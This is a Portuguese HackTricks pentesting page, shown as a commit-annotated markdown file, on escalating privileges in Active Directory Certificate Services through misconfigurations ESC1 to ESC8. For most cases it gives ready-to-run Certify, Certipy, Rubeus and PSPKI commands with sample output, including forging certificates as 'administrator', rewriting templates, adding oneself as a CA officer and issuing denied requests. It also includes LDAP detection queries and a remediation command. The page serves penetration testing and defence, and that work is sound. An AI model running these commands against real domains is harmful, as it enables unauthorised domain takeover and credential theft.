hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

577 lines
44 KiB
Markdown
Raw Normal View History

# AD CS Escalada de Domínio
2022-08-31 23:27:46 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-31 23:27:46 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-08-31 23:27:46 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Modelos de Certificado Mal Configurados - ESC1
2022-08-31 23:27:46 +00:00
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-02 13:32:02 +00:00
* O **CA Empresarial** concede **direitos de inscrição a usuários de baixo privilégio**
2023-06-06 18:56:34 +00:00
* **A aprovação do gerente está desativada**
* **Não são necessárias assinaturas autorizadas**
* Um descritor de segurança de **modelo de certificado excessivamente permissivo concede direitos de inscrição de certificado a usuários de baixo privilégio**
* O **modelo de certificado define EKUs que permitem autenticação**:
* _Autenticação do Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticação do Cliente PKINIT (1.3.6.1.5.2.3.4), Logon de Cartão Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Qualquer Finalidade (OID 2.5.29.37.0) ou nenhuma EKU (SubCA)._
2023-06-06 18:56:34 +00:00
* O **modelo de certificado permite que solicitantes especifiquem um subjectAltName no CSR:**
* **AD** irá **usar** a identidade especificada pelo campo **subjectAltName** (SAN) de um certificado **se** estiver **presente**. Consequentemente, se um solicitante puder especificar o SAN em um CSR, o solicitante pode **solicitar um certificado como qualquer pessoa** (por exemplo, um usuário de administrador de domínio). O objeto AD do modelo de certificado **especifica** se o solicitante **pode especificar o SAN** em sua propriedade **`mspki-certificate-name-`**`flag`. A propriedade `mspki-certificate-name-flag` é uma **máscara de bits** e se a flag **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** estiver **presente**, um solicitante pode especificar o SAN.
2022-08-31 23:27:46 +00:00
{% hint style="danger" %}
2023-06-06 18:56:34 +00:00
Essas configurações permitem que um **usuário de baixo privilégio solicite um certificado com um SAN arbitrário**, permitindo que o usuário de baixo privilégio se autentique como qualquer principal no domínio via Kerberos ou SChannel.
2022-08-31 23:27:46 +00:00
{% endhint %}
Isso é frequentemente ativado, por exemplo, para permitir que produtos ou serviços de implantação gerem certificados HTTPS ou certificados de host sob demanda. Ou por falta de conhecimento.
2022-08-31 23:27:46 +00:00
Observe que quando um certificado com essa última opção é criado, um **aviso aparece**, mas não aparece se um **modelo de certificado** com essa configuração é **duplicado** (como o modelo `WebServer` que tem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado e então o administrador pode adicionar um OID de autenticação).
2022-08-31 23:27:46 +00:00
2023-06-06 18:56:34 +00:00
### Abuso
2022-08-31 23:27:46 +00:00
2023-06-06 18:56:34 +00:00
Para **encontrar modelos de certificado vulneráveis**, você pode executar:
2022-08-31 23:27:46 +00:00
```bash
Certify.exe find /vulnerable
2022-09-02 13:32:02 +00:00
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
2022-08-31 23:27:46 +00:00
```
Para **abusar dessa vulnerabilidade e se passar por um administrador**, você pode executar:
2022-08-31 23:27:46 +00:00
```bash
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
2022-08-31 23:27:46 +00:00
```
Em seguida, você pode transformar o **certificado gerado para o formato `.pfx`** e usá-lo para **autenticação usando Rubeus ou certipy** novamente:
2022-09-02 13:32:02 +00:00
```bash
2022-08-31 23:27:46 +00:00
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
2022-09-02 13:32:02 +00:00
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
2022-08-31 23:27:46 +00:00
```
Os binários do Windows "Certreq.exe" e "Certutil.exe" podem ser abusados para gerar o PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
2023-08-29 18:57:50 +00:00
Além disso, a seguinte consulta LDAP, quando executada no esquema de configuração da floresta AD, pode ser usada para **enumerar** **modelos de certificado** que não exigem aprovação/assinaturas, que possuem uma EKU de **Autenticação do Cliente ou Logon de Cartão Inteligente** e têm a flag **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** habilitada:
2022-08-31 23:27:46 +00:00
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
2023-06-06 18:56:34 +00:00
## Modelos de Certificado Mal Configurados - ESC2
2022-08-31 23:27:46 +00:00
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
O segundo cenário de abuso é uma variação do primeiro:
2022-09-01 19:44:54 +00:00
1. O CA da Empresa concede direitos de inscrição a usuários de baixo privilégio.
2. A aprovação do gerente está desativada.
3. Não são necessárias assinaturas autorizadas.
4. Um descritor de segurança excessivamente permissivo do modelo de certificado concede direitos de inscrição de certificado a usuários de baixo privilégio.
2023-06-06 18:56:34 +00:00
5. **O modelo de certificado define o EKU de qualquer finalidade ou nenhum EKU.**
2022-09-01 19:44:54 +00:00
O **EKU de qualquer finalidade** permite que um invasor obtenha um **certificado** para **qualquer finalidade**, como autenticação de cliente, autenticação de servidor, assinatura de código, etc. A mesma **técnica usada para ESC3** pode ser usada para abusar disso.
2022-09-01 19:44:54 +00:00
Um **certificado sem EKUs** - um certificado de AC subordinado - também pode ser abusado para **qualquer finalidade**, mas também pode ser usado para **assinar novos certificados**. Dessa forma, usando um certificado de AC subordinado, um invasor pode **especificar EKUs ou campos arbitrários nos novos certificados**.
2022-09-01 19:44:54 +00:00
No entanto, se o **AC subordinado não for confiável** pelo objeto **`NTAuthCertificates`** (o que não será por padrão), o invasor **não poderá criar novos certificados** que funcionem para **autenticação de domínio**. Ainda assim, o invasor pode criar **novos certificados com qualquer EKU** e valores de certificado arbitrários, dos quais há **muitos** que o invasor poderia potencialmente **abusar** (por exemplo, assinatura de código, autenticação de servidor, etc.) e isso pode ter grandes implicações para outras aplicações na rede, como SAML, AD FS ou IPSec.
2023-08-29 18:57:50 +00:00
A seguinte consulta LDAP, quando executada no esquema de configuração da floresta AD, pode ser usada para enumerar modelos que correspondem a esse cenário:
2022-09-01 19:44:54 +00:00
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
2023-06-06 18:56:34 +00:00
## Modelos de Agente de Inscrição Mal Configurados - ESC3
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-01 19:44:54 +00:00
Este cenário é semelhante ao primeiro e ao segundo, mas **abusando** de um **EKU diferente** (Agente de Solicitação de Certificado) e **2 modelos diferentes** (portanto, possui 2 conjuntos de requisitos).
2022-09-02 13:32:02 +00:00
O EKU do **Agente de Solicitação de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conhecido como **Agente de Inscrição** na documentação da Microsoft, permite que um principal se **inscreva** para um **certificado** em **nome de outro usuário**.
2022-09-01 19:44:54 +00:00
O **"agente de inscrição"** se inscreve em um **modelo** e usa o **certificado resultante para co-assinar uma CSR em nome do outro usuário**. Em seguida, **envia** a **CSR co-assinada** para a CA, se inscrevendo em um **modelo** que **permite "inscrever em nome de"**, e a CA responde com um **certificado pertencente ao "outro" usuário**.
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
**Requisitos 1:**
2022-09-01 19:44:54 +00:00
1. A CA da Empresa permite que usuários com baixos privilégios tenham direitos de inscrição.
2023-06-06 18:56:34 +00:00
2. A aprovação do gerente está desativada.
3. Não são necessárias assinaturas autorizadas.
4. Um descritor de segurança de modelo de certificado excessivamente permissivo permite que usuários com baixos privilégios tenham direitos de inscrição de certificado.
2023-06-06 18:56:34 +00:00
5. O **modelo de certificado define o EKU do Agente de Solicitação de Certificado**. O OID do Agente de Solicitação de Certificado (1.3.6.1.4.1.311.20.2.1) permite solicitar outros modelos de certificado em nome de outros princípios.
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
**Requisitos 2:**
2022-09-01 19:44:54 +00:00
1. A CA da Empresa permite que usuários com baixos privilégios tenham direitos de inscrição.
2023-06-06 18:56:34 +00:00
2. A aprovação do gerente está desativada.
3. **A versão do esquema do modelo é 1 ou superior a 2 e especifica um Requisito de Emissão de Política de Aplicativo que exige o EKU do Agente de Solicitação de Certificado**.
2023-06-06 18:56:34 +00:00
4. O modelo de certificado define um EKU que permite autenticação de domínio.
5. Restrições de agente de inscrição não são implementadas na CA.
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
### Abuso
2022-09-01 19:44:54 +00:00
Você pode usar o [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) para abusar desse cenário:
2022-09-01 19:44:54 +00:00
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
2022-09-02 13:32:02 +00:00
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'
2022-09-01 19:44:54 +00:00
# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
2022-09-02 13:32:02 +00:00
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
2022-09-01 19:44:54 +00:00
# Use Rubeus with the certificate to authenticate as the other user
2022-09-02 13:32:02 +00:00
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
2022-09-01 19:44:54 +00:00
```
As CAs empresariais podem **restringir** os **usuários** que podem **obter** um **certificado de agente de inscrição**, os modelos de inscrição em que os **agentes de inscrição podem se inscrever** e em quais **contas** o agente de inscrição pode **agir em nome de**, abrindo `certsrc.msc` `snap-in -> clicando com o botão direito no CA -> clicando em Propriedades -> navegando` até a guia "Agentes de Inscrição".
2023-08-29 18:57:50 +00:00
No entanto, a configuração padrão do CA é "Não restringir agentes de inscrição". Mesmo quando os administradores habilitam "Restringir agentes de inscrição", a configuração padrão é extremamente permissiva, permitindo que qualquer pessoa tenha acesso a todos os modelos de inscrição.
2022-09-01 19:44:54 +00:00
## Controle de Acesso Vulnerável ao Modelo de Certificado - ESC4
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
### **Explicação**
2022-09-02 13:32:02 +00:00
Os **modelos de certificado** possuem um **descritor de segurança** que especifica quais **principais do AD** têm **permissões específicas sobre o modelo**.
2022-09-01 19:44:54 +00:00
Se um **atacante** tiver **permissões suficientes** para **modificar** um **modelo** e **criar** uma das **configurações incorretas** exploráveis das **seções anteriores**, ele poderá explorá-la e **elevar privilégios**.
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
Direitos interessantes sobre modelos de certificado:
2022-09-01 19:44:54 +00:00
* **Proprietário:** Controle total implícito do objeto, pode editar qualquer propriedade.
* **ControleTotal:** Controle total do objeto, pode editar qualquer propriedade.
* **EscreverProprietário:** Pode modificar o proprietário para um principal controlado pelo atacante.
* **EscreverDacl**: Pode modificar o controle de acesso para conceder ControleTotal a um atacante.
* **EscreverPropriedade:** Pode editar qualquer propriedade.
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
### Abuso
2022-09-02 13:32:02 +00:00
Um exemplo de elevação de privilégios como o anterior:
2022-09-02 13:32:02 +00:00
2022-09-30 10:43:59 +00:00
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
2022-09-02 13:32:02 +00:00
O ESC4 ocorre quando um usuário possui privilégios de escrita sobre um modelo de certificado. Isso pode ser abusado, por exemplo, para sobrescrever a configuração do modelo de certificado e torná-lo vulnerável ao ESC1.
2022-09-02 13:32:02 +00:00
Como podemos ver no caminho acima, apenas `JOHNPC` possui esses privilégios, mas nosso usuário `JOHN` possui a nova relação `AddKeyCredentialLink` com `JOHNPC`. Como essa técnica está relacionada a certificados, também implementei esse ataque, conhecido como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aqui está uma pequena prévia do comando `shadow auto` do Certipy para recuperar o hash NT da vítima.
2022-09-02 13:32:02 +00:00
2022-09-27 00:14:52 +00:00
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
2022-09-02 13:32:02 +00:00
O Certipy pode sobrescrever a configuração de um modelo de certificado com um único comando. Por **padrão**, o Certipy irá **sobrescrever** a configuração para torná-la **vulnerável ao ESC1**. Também podemos especificar o parâmetro **`-save-old` para salvar a configuração antiga**, o que será útil para **restaurar** a configuração após nosso ataque.
2022-09-02 13:32:02 +00:00
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
```
## Controle de Acesso a Objetos PKI Vulneráveis - ESC5
2022-09-02 13:32:02 +00:00
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-02 13:32:02 +00:00
2023-06-06 18:56:34 +00:00
A teia de relacionamentos baseados em ACL interconectados que podem afetar a segurança do AD CS é extensa. Vários **objetos fora dos modelos de certificado** e da própria autoridade de certificação podem ter um **impacto na segurança de todo o sistema AD CS**. Essas possibilidades incluem (mas não se limitam a):
2022-09-01 19:44:54 +00:00
2023-06-06 18:56:34 +00:00
* O **objeto de computador AD do servidor CA** (ou seja, comprometimento por meio de S4U2Self ou S4U2Proxy)
* O **servidor RPC/DCOM do servidor CA**
* Qualquer **objeto ou contêiner AD descendente no contêiner** `CN=Serviços de Chave Pública,CN=Serviços,CN=Configuração,DC=<DOMÍNIO>,DC=<COM>` (por exemplo, o contêiner Modelos de Certificado, contêiner Autoridades de Certificação, o objeto NTAuthCertificates, o Contêiner de Serviços de Inscrição, etc.)
2022-09-01 19:44:54 +00:00
Se um atacante com privilégios baixos puder obter **controle sobre qualquer um desses**, o ataque provavelmente poderá **comprometer o sistema PKI**.
2022-09-01 19:44:54 +00:00
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-01 19:44:54 +00:00
Existe outro problema semelhante, descrito no [**post da CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), que envolve a flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**. Conforme descrito pela Microsoft, "se essa flag estiver **ativada** no CA, **qualquer solicitação** (incluindo quando o assunto é construído a partir do Active Directory®) pode ter **valores definidos pelo usuário** no **nome alternativo do assunto**".\
Isso significa que um **atacante** pode se inscrever em **QUALQUER modelo** configurado para **autenticação de domínio** que também **permite que usuários não privilegiados** se inscrevam (por exemplo, o modelo de Usuário padrão) e **obter um certificado** que nos permite **autenticar** como um administrador de domínio (ou **qualquer outro usuário/máquina ativa**).
2022-09-01 19:44:54 +00:00
**Observação**: os **nomes alternativos** aqui são **incluídos** em uma CSR por meio do argumento `-attrib "SAN:"` para `certreq.exe` (ou seja, "Pares de Nome Valor"). Isso é **diferente** do método para **abusar de SANs** em ESC1, pois **armazena informações da conta em um atributo do certificado em vez de uma extensão do certificado**.
2022-09-02 13:32:02 +00:00
2023-06-06 18:56:34 +00:00
### Abuso
2022-09-01 19:44:54 +00:00
As organizações podem **verificar se a configuração está ativada** usando o seguinte comando `certutil.exe`:
2022-09-01 19:44:54 +00:00
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
2023-06-06 18:56:34 +00:00
Abaixo, isso usa apenas o **registro remoto**, então o seguinte comando também pode funcionar:
2022-09-01 19:44:54 +00:00
```
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
2022-09-01 19:44:54 +00:00
```
[**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) também verificam isso e podem ser usados para abusar dessa configuração incorreta:
2022-09-01 19:44:54 +00:00
```bash
# Check for vulns, including this one
Certify.exe find
# Abuse vuln
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
2022-09-02 13:32:02 +00:00
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
2022-09-01 19:44:54 +00:00
```
2023-06-06 18:56:34 +00:00
Essas configurações podem ser **definidas**, assumindo direitos **administrativos de domínio** (ou equivalentes), a partir de qualquer sistema:
2022-09-01 19:44:54 +00:00
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
Se você encontrar essa configuração em seu ambiente, você pode **remover essa flag** com:
2022-09-01 19:44:54 +00:00
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
2022-09-02 13:32:02 +00:00
{% hint style="warning" %}
Após as atualizações de segurança de maio de 2022, os novos **certificados** terão uma **extensão de segurança** que **incorpora** a propriedade **`objectSid` do solicitante**. Para ESC1, essa propriedade será refletida a partir do SAN especificado, mas com **ESC6**, essa propriedade reflete o **`objectSid` do solicitante**, e não do SAN.\
Portanto, **para abusar do ESC6**, o ambiente deve ser **vulnerável ao ESC10** (Mapeamentos de Certificado Fracos), onde o **SAN é preferido em relação à nova extensão de segurança**.
2022-09-02 13:32:02 +00:00
{% endhint %}
## Controle de Acesso Vulnerável à Autoridade de Certificação - ESC7
2022-09-01 21:06:19 +00:00
2023-06-06 18:56:34 +00:00
### Ataque 1
2022-09-02 13:32:02 +00:00
2023-06-06 18:56:34 +00:00
#### Explicação
2022-09-02 13:32:02 +00:00
Uma autoridade de certificação em si possui um **conjunto de permissões** que protegem várias **ações da AC**. Essas permissões podem ser acessadas através do `certsrv.msc`, clicando com o botão direito em uma AC, selecionando Propriedades e mudando para a guia Segurança:
2022-09-01 21:06:19 +00:00
2022-09-30 10:43:59 +00:00
<figure><img src="../../../.gitbook/assets/image (73) (2).png" alt=""><figcaption></figcaption></figure>
2022-09-01 21:06:19 +00:00
Isso também pode ser enumerado através do [**módulo PSPKI**](https://www.pkisolutions.com/tools/pspki/) com `Get-CertificationAuthority | Get-CertificationAuthorityAcl`:
2022-09-01 21:06:19 +00:00
```bash
2022-09-09 11:57:02 +00:00
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access
2022-09-01 21:06:19 +00:00
```
Os dois principais direitos aqui são o direito **`ManageCA`** e o direito **`ManageCertificates`**, que se traduzem em "administrador de CA" e "Gerenciador de Certificados".
2022-09-01 21:06:19 +00:00
2023-06-06 18:56:34 +00:00
#### Abuso
2022-09-02 13:32:02 +00:00
Se você tiver um principal com direitos **`ManageCA`** em uma **autoridade de certificação**, podemos usar o **PSPKI** para alterar remotamente o bit **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para **permitir a especificação de SAN** em qualquer modelo ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)):
2022-09-01 21:06:19 +00:00
2022-09-27 00:14:52 +00:00
<figure><img src="../../../.gitbook/assets/image (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-09-01 21:06:19 +00:00
2022-09-30 10:43:59 +00:00
<figure><img src="../../../.gitbook/assets/image (70) (2).png" alt=""><figcaption></figcaption></figure>
2022-09-01 21:06:19 +00:00
2023-06-06 18:56:34 +00:00
Isso também é possível de forma mais simples com o cmdlet [**Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) do **PSPKI**.
2022-09-01 21:06:19 +00:00
O direito **`ManageCertificates`** permite **aprovar uma solicitação pendente**, portanto, ignorando a proteção de "aprovação do gerenciador de certificados da CA".
2023-08-29 18:57:50 +00:00
Você pode usar uma **combinação** dos módulos **Certify** e **PSPKI** para solicitar um certificado, aprová-lo e baixá-lo:
2022-09-01 21:06:19 +00:00
```powershell
# Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response : The certificate is still pending.
[*] Request ID : 336
[...]
# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336
```
2023-06-06 18:56:34 +00:00
### Ataque 2
2022-09-01 21:06:19 +00:00
2023-06-06 18:56:34 +00:00
#### Explicação
2022-09-02 13:32:02 +00:00
{% hint style="warning" %}
No **ataque anterior**, as permissões **`Gerenciar CA`** foram usadas para **habilitar** a flag **EDITF\_ATTRIBUTESUBJECTALTNAME2** e realizar o ataque **ESC6**, mas isso não terá efeito até que o serviço CA (`CertSvc`) seja reiniciado. Quando um usuário tem o direito de acesso `Gerenciar CA`, o usuário também tem permissão para **reiniciar o serviço**. No entanto, isso **não significa que o usuário possa reiniciar o serviço remotamente**. Além disso, o **ESC6 pode não funcionar** em ambientes atualizados devido às atualizações de segurança de maio de 2022.
2022-09-02 13:32:02 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
Portanto, outro ataque é apresentado aqui.
2022-09-02 13:32:02 +00:00
2023-06-06 18:56:34 +00:00
Pré-requisitos:
2022-09-02 13:32:02 +00:00
* Apenas a permissão **`Gerenciar CA`**
* Permissão **`Gerenciar Certificados`** (pode ser concedida a partir de **`Gerenciar CA`**)
* O modelo de certificado **`SubCA`** deve estar **habilitado** (pode ser habilitado a partir de **`Gerenciar CA`**)
2022-09-02 13:32:02 +00:00
A técnica se baseia no fato de que usuários com o direito de acesso `Gerenciar CA` _e_ `Gerenciar Certificados` podem **emitir solicitações de certificado falhadas**. O modelo de certificado **`SubCA`** é **vulnerável ao ESC1**, mas **apenas administradores** podem se inscrever no modelo. Assim, um **usuário** pode **solicitar** a inscrição no **`SubCA`** - que será **negada** - mas **depois emitida pelo gerente**.
2022-09-02 13:32:02 +00:00
2023-06-06 18:56:34 +00:00
#### Abuso
2022-09-02 13:32:02 +00:00
Você pode **conceder a si mesmo a permissão `Gerenciar Certificados`** adicionando seu usuário como um novo oficial.
2022-09-02 13:32:02 +00:00
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
O modelo **`SubCA`** pode ser **ativado no CA** com o parâmetro `-enable-template`. Por padrão, o modelo `SubCA` está ativado.
2022-09-02 13:32:02 +00:00
```bash
# List templates
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it
# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
Se já cumprimos os pré-requisitos para esse ataque, podemos começar **solicitando um certificado com base no modelo `SubCA`**.
2023-08-29 18:57:50 +00:00
**Essa solicitação será negada**, mas iremos salvar a chave privada e anotar o ID da solicitação.
2022-09-02 13:32:02 +00:00
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
Com nosso **`Gerenciar CA` e `Gerenciar Certificados`**, podemos então **emitir a solicitação de certificado falha** com o comando `ca` e o parâmetro `-issue-request <ID da solicitação>`.
2022-09-02 13:32:02 +00:00
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
E finalmente, podemos **recuperar o certificado emitido** com o comando `req` e o parâmetro `-retrieve <ID da solicitação>`.
2022-09-02 13:32:02 +00:00
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
## NTLM Relay para Pontos Finais HTTP do AD CS - ESC8
2022-09-02 13:32:02 +00:00
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-02 13:32:02 +00:00
2022-09-01 21:06:19 +00:00
{% hint style="info" %}
Em resumo, se um ambiente tiver o **AD CS instalado**, juntamente com um **ponto final de inscrição web vulnerável** e pelo menos um **modelo de certificado publicado** que permita a **inscrição de computadores de domínio e autenticação de clientes** (como o modelo padrão **`Machine`**), então um **atacante pode comprometer QUALQUER computador com o serviço spooler em execução**!
2022-09-01 21:06:19 +00:00
{% endhint %}
O AD CS suporta vários **métodos de inscrição baseados em HTTP** por meio de funções adicionais do servidor AD CS que os administradores podem instalar. Essas interfaces de inscrição de certificado baseadas em HTTP são todas **ataques de relay NTLM vulneráveis**. Usando o relay NTLM, um atacante em uma **máquina comprometida pode se passar por qualquer conta AD que autentica com NTLM**. Ao se passar pela conta da vítima, um atacante pode acessar essas interfaces web e **solicitar um certificado de autenticação do cliente com base nos modelos de certificado `User` ou `Machine`**.
2022-09-01 21:06:19 +00:00
* A **interface de inscrição web** (uma aplicação ASP com aparência antiga acessível em `http://<caserver>/certsrv/`), por padrão, suporta apenas HTTP, que não pode proteger contra ataques de relay NTLM. Além disso, ela permite explicitamente apenas autenticação NTLM por meio do cabeçalho HTTP de Autorização, portanto, protocolos mais seguros como Kerberos não podem ser usados.
* O **Serviço de Inscrição de Certificado** (CES), o **Serviço Web de Política de Inscrição de Certificado** (CEP) e o **Serviço de Inscrição de Dispositivo de Rede** (NDES) suportam autenticação de negociação por padrão por meio do cabeçalho HTTP de Autorização. A autenticação de negociação **suporta** Kerberos e **NTLM**; consequentemente, um atacante pode **negociar para autenticação NTLM** durante ataques de relay. Esses serviços web pelo menos habilitam HTTPS por padrão, mas infelizmente o HTTPS por si só **não protege contra ataques de relay NTLM**. Somente quando o HTTPS é combinado com o vínculo de canal, os serviços HTTPS podem ser protegidos contra ataques de relay NTLM. Infelizmente, o AD CS não habilita a Proteção Estendida para Autenticação no IIS, que é necessária para habilitar o vínculo de canal.
2022-09-01 21:06:19 +00:00
Problemas comuns dos ataques de relay NTLM são que as **sessões NTLM geralmente são curtas** e que o atacante **não pode** interagir com serviços que **exigem assinatura NTLM**.
2022-09-01 21:06:19 +00:00
